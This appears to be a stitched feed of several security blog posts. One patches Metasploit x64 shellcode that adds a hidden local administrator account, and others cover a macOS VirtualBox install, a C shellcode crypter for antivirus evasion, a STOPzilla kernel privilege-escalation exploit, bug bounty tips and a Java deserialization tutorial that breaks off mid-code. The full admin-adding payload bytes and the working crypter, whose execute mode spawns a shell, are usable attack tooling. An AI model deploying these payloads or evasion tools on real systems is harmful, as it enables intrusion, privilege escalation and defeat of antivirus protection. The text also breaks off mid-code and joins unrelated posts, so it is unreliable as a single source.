Unfortunately, when setting the EXITFUNC option to none, no code is generated to allow execution to continue as normal after the payload has been executed, and ultimately results in an access violation.

The example I’ll be going over in this post is specifically the x64 version of the exec payload, which differs slightly to the x86 version. Most notably, the calling convention is different, the x86 version will see all arguments pushed on to the stack, but the x64 version will put the first few arguments into registers.

To generate the base shellcode I’ll be working with, I ran: msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user /add di.security Disecurity1! && net localgroup administrators di.security /add"' EXITFUNC=none

What Causes the Problem

The exec payload uses the WinExec function to run the command specified in the CMD option.

To push the command text specified in the CMD option on to the stack, it is defined as raw bytes at the end of the payload, preceded by a call instruction:

When call is used, the address of the next instruction is then pushed on to the stack, so the execution flow can return to the correct place later. In the context of shellcoding, the pointer to the next instruction is effectively a pointer to the string that has been defined in place, and avoids the need for N amount of push instructions.

If we were to take the first few bytes that appear after call rbp in the above screenshot and convert them to ASCII, we can see that it is the equivalent of cmd.exe /k:

$ echo -e "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b"
cmd.exe /k

Eventually, the execution of the payload will end up being passed to these bytes, which will lead to an error at some point, as the bytes are nonsensical in terms of actual operations.

The Solution

The solution to this issue is quite simple. The ultimate goal will be to add some extra bytes before the command text bytes which will instruct the program to jump past the command text bytes so that normal operations can continue.

As you may be anticipating, doing this will cause an issue in that extra bytes will precede the command text in the call to WinExec. To avoid this becoming an issue, an additional change will need to be made to ensure the pointer used for the lpCmdLine argument is increased by an appropriate number of bytes, so that it points ahead of the new bytes being added.

The change to the command text area can be seen in the screenshot below:

Four new bytes have been added after call rbp, the first two are are for a jmp operation to jump forward past the in place bytes, and the subsequent two bytes are just two NOPs to visually show the separation.

With the new code in place to ensure the command text bytes are never executed, the change to offset the lpCmdLine pointer can be made.

The point at which WinExec is invoked is at the jmp rax operation. At this point, the command being executed will be stored in the rcx register. The code block to look for is:

pop  r8              ; 4158
pop  r8              ; 4158
pop  rsi             ; 5E
pop  rcx             ; 59
pop  rdx             ; 5A
pop  r8              ; 4158
pop  r9              ; 4159
pop  r10             ; 415A
sub  rsp,byte +0x20  ; 4883EC20
push r10             ; 4152
jmp  rax             ; FFE0

As 4 bytes will be added before jmp rax to make the adjustment, and 4 bytes were added to jump over the command text, rcx needs to be adjusted by 8 bytes. To do this, add rcx, 0x8 is inserted before jmp rax:

push r10             ; 4152
add  rcx, byte +0x8  ; 4883C108
jmp  rax             ; FFE0

Fixing Relative Jumps

The simple solution now becomes a bit more painful. Adding the adjustment to the rcx register causes a shift in a number of offsets by 4 bytes.

Thankfully, the visual aid on the left side of the screen in x64dbg makes it a bit easier to identify affected jumps by showing where they would land if taken.

Any jump or call instruction that has an offset that went forward past jmp rax will need to have its offset increased by 4, where as any jump or call that went backwards will need to have its offset decreased by 4.

A total of 4 operations were found that needed to be changed:

  • E8 C0 (call 0xca) changes to E8 C4
  • 74 67 (jz 0xbf) changes to 74 6B
  • E3 56 (jrcxz 0xbe) changes to E3 5A
  • The one jump backwards found towards the end of the payload changes from E9 57 FF FF FF to E9 53 FF FF FF

Wrapping Up & Testing

Now that all the changes have been made, checking the value of rcx when sitting on the jmp rax instruction should show it pointing to the start of the command text bytes:

After the call to WinExec, the execution should eventually return to the short jump that was added before the command text bytes, which should jump straight over the entirety of the command text:

What you place after the command text bytes is completely up to you. In this case, I placed a NOP sled, a stack adjustment and a call into some existing code.

After making these changes, the final payload (minus the additions after the final NOP sled) looks like this:

\xfc\x48\x83\xe4\xf0\xe8\xc4\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6b\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5a\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\x48\x83\xc1\x08\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x53\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\xeb\x69\x90\x90\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b\x20\x22\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x2f\x61\x64\x64\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x44\x69\x73\x65\x63\x75\x72\x69\x74\x79\x31\x21\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x2f\x61\x64\x64\x22\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90

Installing MacOS High Sierra in VirtualBox 5

25 October 2018 at 00:00

During a recent pentest, I needed to throw together a macOS virtual machine. Although there was lots of guides around the web, none seemed to work from start to finish. This post contains the steps I extracted from various resources in order to get a fully working High Sierra install within VirtualBox 5.

Step 1: Download The High Sierra Installer

To do this, you need to be on an existing macOS system. I was unable to find the download within the App Store itself, but following this link opened the App Store at the correct page: https://itunes.apple.com/us/app/macos-high-sierra/id1246284741?mt=12

After opening the aforementioned page in the App Store, start the download, but cancel the installation when it starts.

You can then verify that the installer has been downloaded by checking that "/Applications/Install macOS High Sierra.app" exists.

Step 2: Create a Bootable ISO

Next, you need to create an ISO from the installer application that was downloaded in step 1.

Running the below commands will create an ISO on your desktop named HighSierra.iso:

hdiutil create -o /tmp/HighSierra.cdr -size 5200m -layout SPUD -fs HFS+J
hdiutil attach /tmp/HighSierra.cdr.dmg -noverify -mountpoint /Volumes/install_build
sudo /Applications/Install\ macOS\ High\ Sierra.app/Contents/Resources/createinstallmedia --volume /Volumes/install_build
mv /tmp/HighSierra.cdr.dmg ~/Desktop/InstallSystem.dmg
hdiutil detach /Volumes/Install\ macOS\ High\ Sierra
hdiutil convert ~/Desktop/InstallSystem.dmg -format UDTO -o ~/Desktop/HighSierra.iso

Step 3: Creating the Virtual Machine

I experimented with a few different settings in regards to the CPU and RAM allocation. I didn’t find a combination that didn’t work, but create a VM with the following things in mind:

  • Ensure the name of the VM is MacOS (ensure to keep the same casing)
  • Ensure the type is Mac OS X and the version is macOS 10.12 Sierra (64-bit) (there is a High Sierra option too, but I chose Sierra by accident and it worked)
  • Untick Floppy in System > Motherboard > Boot Order
  • Use >= 4096 MB of memory in System > Motherboard
  • Use >= 2 CPUs in System > Processor
  • Use 128 MB of video memory in Display > Screen
  • Optionally enable 3D acceleration in Display > Screen
  • Remove the IDE device in Storage > Storage Devices and replace it with a SATA controller
  • Add a new hard disk device under the SATA controller with >= 60 GB of space
  • Ensure an optical drive is present under the SATA controller and mount the previously created ISO to it
  • Untick the Enable Audio option under Audio

After creating the virtual machine with the above configuration, hit OK and exit the settings screen. Now, a number of extra options need to be set.

If you’re on Windows, you’ll need to cd into the appropriate directory under the VirtualBox installation path to run VBoxManage. For Linux users, this should be in your PATH variable already:

VBoxManage modifyvm "MacOS" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
VBoxManage setextradata "MacOS" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1

After running the above commands, the VM should be ready to boot!

Step 4: Installation

This is where near enough everything I read stopped, despite there being one more problem in the way - UEFI.

Boot into the VM, go into Disk Utility and erase the virtual disk that you added to the machine.

After erasing the disk, start the installation procedure. After a short amount of time, it will reboot the VM.

Once it reboots, it’s going to boot back off the ISO again, once it’s done this, just shutdown the VM and eject the disk [the ISO] and then start the VM again to boot from disk.

On the next boot, it should boot into the installer that was copied to disk, but instead, you will be presented with a UEFI shell like below:

UEFI shell

To continue the macOS installation, follow these steps:

  1. Type exit and hit return
  2. Select Boot Maintenance Manager and hit return
  3. Select Boot From File and hit return
  4. You will see two partitions, select the second partition and hit return
  5. Select macOS Install Data and hit return
  6. Select Locked Files and hit return
  7. Select Boot Files and hit return
  8. Select boot.efi and hit return

After following these steps, you will boot into the remainder of the macOS installation. From here, just follow the steps as per a regular macOS installation.

The next time you boot your virtual machine, you will not have to go through the UEFI shell; it should work without any further problems.

Step 5: Tweaking The Resolution

As there is no VirtualBox additions for macOS, the screen resolution won’t automatically change. If you know what resolution you wish to use, however, you can set it manually.

Ensure the virtual machine is powered off, and then run the following command; replacing 1920x1080 with whatever resolution you would like to use:

VBoxManage setextradata "MacOS" VBoxInternal2/EfiGraphicsResolution 1920x1080

After running the above command, the next time you boot the machine, it will use the resolution specified.

Now, you should have a fully working macOS virtual machine!

macOS virtual machine

References

The information found in this post was pieced together from the following sources:

Creating Shellcode Crypter

22 September 2018 at 00:00

In addition to using encoders to evade AV detection, encryption can also be utilised to beat pattern detection. One of the benefits of encryption over encoding is that without the key used to encrypt the shellcode, it will not be possible to decrypt it (without exploiting weaknesses within the chosen algorithm).

For this example, I have chosen to create a crypter that derives its implementation from the Vigenere Cipher. The Vigenere Cipher is a type of substitution cipher, which is used for encrypting alphabetic text. The implementation I have created, however, allows for it’s basic principle to work with shellcode.

How Vigenere Works

The Vigenere cipher consists of three components:

  • The message (i.e. the unencrypted text)
  • The key
  • The character set

Typically, the character set consists of the letters A through Z and can be illustrated as a square grid. The first row starts in order, and each subsequent row will shift the character set one position to the left, and rotate the characters that go out of bounds back to the right.

Using this grid, the message can be encrypted one letter at a time. The first step is to find the column that the current letter resides in, and then follow it down the rows until reaching the row with the letter that is found in the corresponding position in the key.

For example, if the message was HELLO and the key was DEADBEEF, the first letter (H) would be encrypted using the first letter of the key (D). The first encrypted letter would therefore be K, as per the illustration below:

After encrypting this letter, the letter E would then be encrypted using the same method, which would result in the letter I being selected.

When decrypting text, the same process is followed but in reverse order. So, as the ciphertext (i.e. the encrypted text) from the above example would be KILOP, we would first find the first letter of the key being used to decrypt it (D) and check each value one by one until we find the letter K. Once the encrypted letter is found, it can be decrypted by replacing it with the letter corresponding to the column it is in - in this case H.

In instances were the key is not equal in length or greater than the message, the key is repeated N times until it is. If the key was key and the message was helloworld it would be repeated like this:

keykeykeyk
helloworld

So, the intersection for w would be made from y, the intersection for d would be made from k etc.

Modifications Required to Work with Shellcode

As the typical character set is not sufficient for using the Vigenere cipher to encrypt shellcode, the main modification will be to make it so. Rather than a character set consisting of the letters A through Z, the integer values 1 through 255 will be used. The character set starts at 1 because 0 (i.e. a null byte) is near exclusively a bad character when it comes to shellcoding.

Due to numeric values being used, rather than letters, an optimisation can (and will) be made to the encryption process. Rather than iterating through the top level rows to determine the offset of a particular value, the value itself can be used to determine the correct offset.

For example, in the case of the chosen character set, the correct offset can be found by deducting the starting byte from the one being processed. If the value 3 was being processed, it will always be in position 2 of the character set.

The same optimisation can’t be fully implemented into the decryption process, as iteration of the row is unavoidable; but the offset of the row that needs to be iterated can be directly accessed using the aforementioned logic (i.e. by subtracting the starting byte (0x01) from the byte of the key being processed).

Final Crypter Code

The final code for the crypter can be found below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FIRST_BYTE 1
#define CHARACTER_SET_SIZE 255

int encrypt(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key, unsigned char *payload, short debug)
{
    int payloadLength = strlen((char *)payload);

    // Loop through each char in payload, and use the values from
    // the corresponding char from the key to determine which byte
    // to select from characterSet and use it as the encoded byte.
    int encrypted[payloadLength];
    for (int i = 0; i < payloadLength; i++)
    {
        int currentByte = (int)payload[i];
        int keyByte = (int)key[i];
        encrypted[i] = characterSet[keyByte - FIRST_BYTE][currentByte - FIRST_BYTE];

        if (debug)
        {
            printf("Position: %d\n", i);
            printf("Payload byte (dec): %d\n", (int)payload[i]);
            printf("Key byte (dec): %d\n", keyByte);
            printf("Encrypted byte (dec): %d\n\n", encrypted[i]);
        }
    }

    printf("\nEncrypted: ");
    for (int i = 0; i < payloadLength; i++)
    {
        printf("\\x%02x", (int)encrypted[i]);
    }

    printf("\n");

    return 0;
}

int decrypt(int characterSet[][CHARACTER_SET_SIZE], unsigned char *key, unsigned char *ciphertext, short execute, short debug)
{
    int payloadLength = strlen((char *)ciphertext);
    unsigned char originalPayload[payloadLength];

    for (int i = 0; i < payloadLength; i++)
    {
        int encryptedByte = (int)ciphertext[i];
        int keyByte = (int)key[i];

        for (int i2 = 0; i2 < CHARACTER_SET_SIZE; i2++)
        {
            if (characterSet[keyByte - FIRST_BYTE][i2] == encryptedByte)
            {
                if (debug)
                {
                    printf("Position: %d\n", i);
                    printf("Payload byte (dec): %d\n", (int)ciphertext[i]);
                    printf("Key byte (dec): %d\n", keyByte);
                    printf("Decrypted byte (dec): %d\n\n", characterSet[0][i2]);
                }

                originalPayload[i] = (unsigned char)characterSet[0][i2];
                break;
            }
        }
    }

    if (execute == 1)
    {
        void (*s)() = (void *)originalPayload;
        s();
    }
    else
    {
        printf("\nDecrypted: ");
        for (int i = 0; i < payloadLength; i++)
        {
            printf("\\x%02x", (int)originalPayload[i]);
        }

        printf("\n");
    }

    return 0;
}

unsigned char* parseByteString(char *byteString)
{
    unsigned int byteStringLength = strlen(byteString);
    char byteStringCopy[byteStringLength];
    strcpy(byteStringCopy, byteString);

    unsigned int length = 0;
    for (unsigned int i = 0; i < byteStringLength; i++)
    {
        if (byteStringCopy[i] == 'x')
        {
            length += 1;
        }
    }

    unsigned char* parsedString = (unsigned char*)malloc(sizeof (unsigned char) * length);
    const char delim[3] = "\\x";
    char *b;

    b = strtok(byteStringCopy, delim);
    int currentByte = 0;

    while( b != NULL ) {
        char parsedByte = (char)(int)strtol(b, NULL, 16);
        parsedString[currentByte] = parsedByte;
        currentByte += 1;
        b = strtok(NULL, delim);
    }

    return parsedString;
}

int main(int argc, char **argv)
{
    short debug = argc == 5;
    int characterSet[CHARACTER_SET_SIZE][CHARACTER_SET_SIZE];

    // Loop for each permutation required
    for (int i = 0; i < CHARACTER_SET_SIZE; i++)
    {
        // Add each character to the right of the
        // initial offset to the start of the row.
        for (int i2 = i; i2 < CHARACTER_SET_SIZE; i2++)
        {
            characterSet[i][i2 - i] = i2 + FIRST_BYTE;
        }

        // Rotate the characters to the left of the
        // initial offset to the end of the row.
        for (int i2 = 0; i2 < i; i2++)
        {
            characterSet[i][(CHARACTER_SET_SIZE - i) + i2] = i2 + FIRST_BYTE;
        }
    }

    char *mode = argv[1];

    unsigned char *baseKey = parseByteString(argv[2]);
    int keyLength = strlen((char *)baseKey);

    if (debug)
    {
        printf("Key: ");

        for (unsigned int i = 0; i < strlen((char *)baseKey); i++)
        {
            printf("%02x ", baseKey[i]);
        }

        printf("\n");
    }


    unsigned char *payload = parseByteString(argv[3]);
    int payloadLength = strlen((char *)payload);

    if (debug)
    {
        printf("Payload: ");

        for (unsigned int i = 0; i < strlen((char *)payload); i++)
        {
            printf("%02x ", payload[i]);
        }

        printf("\n");
    }


    int inflatedKeySize = keyLength;
    int iterationsNeeded = 1;

    // If the payload is larger than the key, the key needs to be
    // repeated N times to make it match or exceed the length of
    // the payload.
    if (payloadLength > keyLength)
    {
        // Determine the number of times the key needs to be expanded
        // to meet the length required to encrypt the payload.
        iterationsNeeded = (int)((payloadLength / keyLength) + 0.5) + 1;

        // Determine the new key size required and store it in
        // inflatedKeySize for use when initialising the new key.
        inflatedKeySize = keyLength * iterationsNeeded;
    }

    // Initialise the key with a null byte so that strcat can work.
    unsigned char key[inflatedKeySize];
    key[0] = '\x00';

    // Concatenate the base key on to the new key to ensure it
    // is long enough to encrypt the payload.
    for (int i = 0; i < iterationsNeeded; i++)
    {
        strcat((char *)key, (char *)baseKey);
    }

    if (strcmp(mode, "e") == 0)
    {
        return encrypt(characterSet, key, payload, debug);
    }

    if (strcmp(mode, "d") == 0)
    {
        return decrypt(characterSet, key, payload, 0, debug);
    }

    if (strcmp(mode, "x") == 0)
    {
        return decrypt(characterSet, key, payload, 1, debug);
    }

    return 0;
}

This code is capable of handling the following tasks:

  • Encrypting shellcode
  • Decrypting shellcode
  • Executing encrypted shellcode

Using the Crypter

To compile the code, save it to a file named crypter.c and run the following command:

gcc -m32 -fno-stack-protector -z execstack crypter.c -o crypter

It is important to use the no-stack-protector flag, otherwise the execution of the shellcode will not be possible.

Once compiled, it can be used by running the crypter executable. The executable accepts 4 positional arguments, which in order are:

  • mode - e to encrypt, d to decrypt or x to execute the payload
  • key - the key specified as escaped bytes; e.g. \xde\xad\xbe\xef
  • payload - the payload to be encrypted, decrypted or executed specified as escaped bytes
  • debug - any arbitrary value placed here will enable debug mode, which will show some extra information when encoding payloads

In the below example, an execve shellcode is encrypted using the key \xde\xad\xbe\xef and the encrypted shellcode is output:

$ ./crypter e "\xde\xad\xbe\xef" "\xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"

Encrypted: \xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21

To verify this is reversible, the decrypt mode is used, passing in the same key and the encrypted payload:

$ ./crypter d "\xde\xad\xbe\xef" "\xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21"

Decrypted: \xeb\x1a\x5e\x31\xdb\x88\x5e\x07\x89\x76\x08\x89\x5e\x0c\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\x31\xc0\xb0\x0b\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43

As can be seen in the above output, the original payload is successfully retrieved.

Using the execution mode, the key and encrypted payload can be specified once again, but this time, the decrypted payload will be executed, and an sh shell spawned:

$ ./crypter x "\xde\xad\xbe\xef" "\xc9\xc6\x1c\x20\xb9\x35\x1c\xf5\x67\x23\xc5\x78\x3c\xb8\x4b\x0d\x6b\xfa\xc5\x7c\x34\xb8\xee\xaf\x8e\xb7\x8b\x6f\xc6\x8e\xbd\xee\xdd\xdb\x20\x58\x4c\xdb\x31\x57\x1f\xee\xff\x31\x20\xef\x01\x32\x21"
$ whoami
rastating

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1340

All source files can be found on GitHub at https://github.com/rastating/slae

Exploiting STOPzilla AntiMalware Arbitrary Write Vulnerability using SeCreateTokenPrivilege

By: Parvez
13 September 2018 at 10:17

A couple of months ago I discovered 9 kernel vulnerabilities a security product called STOPzilla AntiMalware. It’s been over a month with no response from the vendor so I’m going public with this one. All of the vulnerabilities stem from output buffer address not being validated apart from ioctl 80002028 where the size of the output buffer is not validated. The table below lists the ioctls, related CVE and type of vulnerability

IOCTL CVE ID Vulnerability Type
0x8000204B CVE-2018-15729 Denial of Service
0x80002067 CVE-2018-15730 Denial of Service
0x8000205B CVE-2018-15731 Denial of Service
0x80002063 0x8000206F CVE-2018-15732 Arbitrary Write
0x80002028 CVE-2018-15733 Null pointer dereference
0x8000206B CVE-2018-15734 Arbitrary Write
0x8000205F CVE-2018-15735 Arbitrary Write
0x8000204F CVE-2018-15736 Denial of Service
0x80002043 CVE-2018-15737 Denial of Service

Here I’m exploiting the arbitrary write vulnerability (CVE-2018-15732) by overwriting the _SEP_TOKEN_PRIVILEGES structure to obtain the SeCreateTokenPrivilege privilege. Then it’s just a matter of calling the ZwCreateToken API to create a new privileged token. The excellent paper “Abusing Token Privileges For LPE” and source code provided needed assistance in exploiting using this privilege.

The “what” dword value starts with 1 and increments each time our ioctl is called so a number of writes needed to be done in order to obtain a useful privilege. Normal privileges would look like this

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002f11060+40
+0x000 Present          : 0x6`02880000
+0x008 Enabled          : 0x800000
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002f11060
.
.
19 0x000000013 SeShutdownPrivilege              Attributes - 
23 0x000000017 SeChangeNotifyPrivilege          Attributes - Enabled Default 
25 0x000000019 SeUndockPrivilege                Attributes - 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 
.
.

After a few writes the SeCreateTokenPrivilege privilege has been obtained. This is one of the privileges received most of the time.

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002e61a90+40
+0x000 Present          : 0x6`00000015
+0x008 Enabled          : 0x16
+0x010 EnabledByDefault : 0x800000

kd> !token fffff8a002e61a90
.
.
00 0x000000000 Unknown Privilege                Attributes - 
02 0x000000002 SeCreateTokenPrivilege           Attributes - Enabled 
04 0x000000004 SeLockMemoryPrivilege            Attributes - Enabled 
33 0x000000021 SeIncreaseWorkingSetPrivilege    Attributes - 
34 0x000000022 SeTimeZonePrivilege              Attributes - 
.
.

For Windows 7 I’ve spawned a shell by switching to session 0 by calling WinStationSwitchToServicesSession(). The Windows Service “Interactive Services Detection” (UI0Detect) is set to manual and not started to begin with but starts when WinStationSwitchToServicesSession() is called. The first instance a prompt will be given to switch sessions, thereafter will switch automatically as the service is already started.

In Windows 10 (1803) the “Interactive Services Detection” service has been removed and doing a quick test on 1703 I realized the service can’t be started anyway so on Windows 10 I’m just adding the current user to the local administrators group.

The CreateProcessAsUser API doesn’t always behave as expected as occasionally returns 1314 error which means “A required privilege is not held by the client”. Running the exploit a few times and it ends up working so not sure exactly what is really happening here. Trying to run the exploit in another user accounts shell i.e. not logging in with the account doesn’t seem to work at all and always returns 1314 error so bear that in mind.

UPDATE: I just figured out the reason behind the 1314 error, since the CreateProcessAsUser API is still being called by our current process token so after the arbitrary writes sometimes the “SeAssignPrimaryTokenPrivilege” privilege is also obtained along with the “SeCreateTokenPrivilege” allowing the exploit to work. So even when our elevated token is successfully created we’ll need an added privilege “SeAssignPrimaryTokenPrivilege” for the CreateProcessAsUser API to succeed.

The current vulnerable version of STOPzilla AntiMalware is 6.5.2.59 of which the driver version szkg64.sys is 3.0.23.0. The exploit can be downloaded from here [zip] and here is the direct link to the package on the StopZilla site if you wish to play with the exploit [msi]

@ParvezGHH

H1-3120: MVH! (H1 Event Guide for Newbies)

29 June 2018 at 00:00

Here’s another late post about my coolest bug bounty achievement so far! In May I’ve participated in HackerOne’s H1-3120 in the beautiful city of Amsterdam with the goal to break some Dropbox stuff. It was a really tough target, but I still managed to find some juicy bugs! According to d0nutptr of the Dropbox team, these caused some internal troubles leading to some serious phone calls ;-). In the end I was awarded three out of the four titles of the evening: “The Exalted”, “The Assassin” and finally also the ”Most Valuable Hacker” (MVH)!

However, I do not only want to talk about my achievements (there are a lot of pictures available on the here), but rather give some tips for all those upcoming event first timers ;-).

You (usually) get to know the targets right before the event!

Typically, HackerOne provides you with a near-final scope a few days before the event. This means you will have some time to explore the target and already collect bugs before the actual event kicks off. My advice here is: hack as much as you can because of one awesome thing: Bounties will be split during the first 30 minutes! This means if 5 people submit the same vulnerability during the first 30 minutes, the bounty for the vulnerability will be equally split amongst everyone, i.e.: 1000 USD/5 people = 200 USD for everyone.

Do your recon prior to the event!

I usually do a lot of recon before I actually start hacking. While this already leads to bugs for myself, it creates another big advantage: I always find low-hanging or seemingly unexploitable things and while working with other hackers during the event, somebody might ask you if there is any endpoint vulnerable to an open redirect or whatever, because he/she actually needs it to complete an exploit chain. Why not collect some additional love here and provide them with your seemingly unexploitable stuff? They might help you out afterwards too!

Late-double-check your findings the night before the actual event!

Bad luck might hit you! It is possible that you find stuff, which the program fixes right before the event kicks off. Trust me, while working on bugs for H1-415, I found some really awesome bugs during the preparation phase for the event. However, while I was (more or less accidentally) checking one of my bugs the night before the event, I noticed that it has been fixed. From this point, I told myself to always late-double-check my bugs to avoid getting N/As.

Try to prevent Frans Rosen from submitting / submit your bugs using bountyplz!

While it is always a good idea to prevent Frans from using his machine to submit his findings, you should also use his tool “bountyplz” to mass-submit findings especially if you have so many vulnerabilities on your waiting list, that it could be difficult to submit them all during the 30 minutes bounty split time. Since the H1 reporting form isn’t really made for quick submissions, it will help you getting your reports in before the deadline ends.

Collaborate during the event!**

Yes, it is still a competition, but don’t underestimate it! You will learn that everybody has his/her own specialties that can help exploiting bugs! On this way I have learned about Corb3nik’s really awesome JavaScript skills!

Thank you very much HackerOne and Dropbox for organizing such an awesome event! I’m already looking forward to all the future events :-)

Understanding Java deserialization

30 May 2018 at 08:53

Some time ago I detailed PHP Object Injection vulnerabilities and this post will get into details of Java deserialization vulnerabilities. The concept is simple: developers use a feature of the programming language, serialization, to simplify their job, but they are not aware about the risks.

Java deserialization is a vulnerability similar to deserialization vulnerabilities in other programming languages. This class of vulnerabilities came to life in 2006, it become more common and more exploited and it is now part of the OWASP Top 10 2017.

What is deserialization?

In order to understand deserialization (or unserialization), we need to understand first serialization.

Each application deals with data, such as user information (e.g. username, age) and uses it to do different actions: run SQL queries, log them into files (be careful with GDPR) or just display them. Many programming languages offers the possibility to work with objects so developers can group data and methods together in classes.

Serialization is the process of translating the application data (such as objects) into a binary format that can be stored or sent over the network, in order to be reused by the same or by other application, which will deserialize it as a reverse process.

The basic idea is that it is easy to create and reuse objects.

Serialization example

Let’s take a simple example of code to see how serialization works. We will serialize a simple String object.

import java.io.*;

public class Serial
{
    public static void main(String[] args)
    {
        String name = "Nytro";
        String filename = "file.bin";

        try
        {
            FileOutputStream file  = new FileOutputStream(filename);
            ObjectOutputStream out = new ObjectOutputStream(file);

            // Serialization of the "name" (String) object
            // Will be written to "file.bin"

            out.writeObject(name);

            out.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }
    }
}

We have the following:

  • A String (object) “name”, which we will serialize
  • A file name where we will write the serialized data (we will use FileOutputStream)
  • We call “writeObject” method to serialize the object (using ObjectOutputStream)
  • We cleanup

As you can see, serialization is simple. Below is the content of the serialized data, the content of “file.bin” in hexadecimal format:

AC ED 00 05 74 00 05 4e 79 74 72 6f            ....t..Nytro

We can see the following:

  • Data starts with the binary “AC ED” – this is the “magic number” that identifies serialized data, so all serialized data will start with this value
  • Serialization protocol version “00 05”
  • We only have a String identified by “74”
  • Followed by the length of the string “00 05”
  • And, finally, our string

We can save this object on the file system, we can store it in a database, or we can even send it to another system over the network. To reuse it, we just need to deserialize it later, on the same system or on a different system and we should be able to fully reconstruct it. Of course, being a simple String, it’s not a big deal, but it can be any object.

Let’s see now how easy it is to deserialize it:

String name;
String filename = "file.bin";

try
{
    FileInputStream file  = new FileInputStream(filename);
    ObjectInputStream out = new ObjectInputStream(file);

    // Serialization of the "name" (String) object
    // Will be written to "file.bin"

    name = (String)out.readObject();
    System.out.println(name);

    out.close();
    file.close();
}
catch(Exception e)
{
    System.out.println("Exception: " + e.toString());
}

We need the following:

  • An empty string to store the reconstructed – deserialized object (name)
  • The file name where we can find the serialized data (using FileInputStream)
  • We call “readObject” to deserialize the object (using ObjectInputStream) – and convert the Object returned to String
  • We cleanup

By running this, we should be able to reconstruct the serialized object.

What can go wrong?

Let’s see what can happen if we want to do something useful with the serialization.

We can execute different actions as soon as the data is read from the serialized object. Let’s see a few theoretical examples of what developers might do during deserialization:

  • if we deserialize an “SQLConnection” object (e.g. with a ConnectionString), we can connect to the database
  • if we deserialize an “User” object (e.g. with a Username), we can retrieve user information form the database (by running some SQL queries)
  • if we deserialize a “LogFile” object (e.g. with Filename and Filecontent) we can restore the previously saved log data

In order to do something useful after deserialization, we need to implement a “readObject” method in the class we deserialize. Let’s take the “LogFile” example.

// Vulnerable class

class LogFile implements Serializable
{
   public String filename;
   public String filecontent;

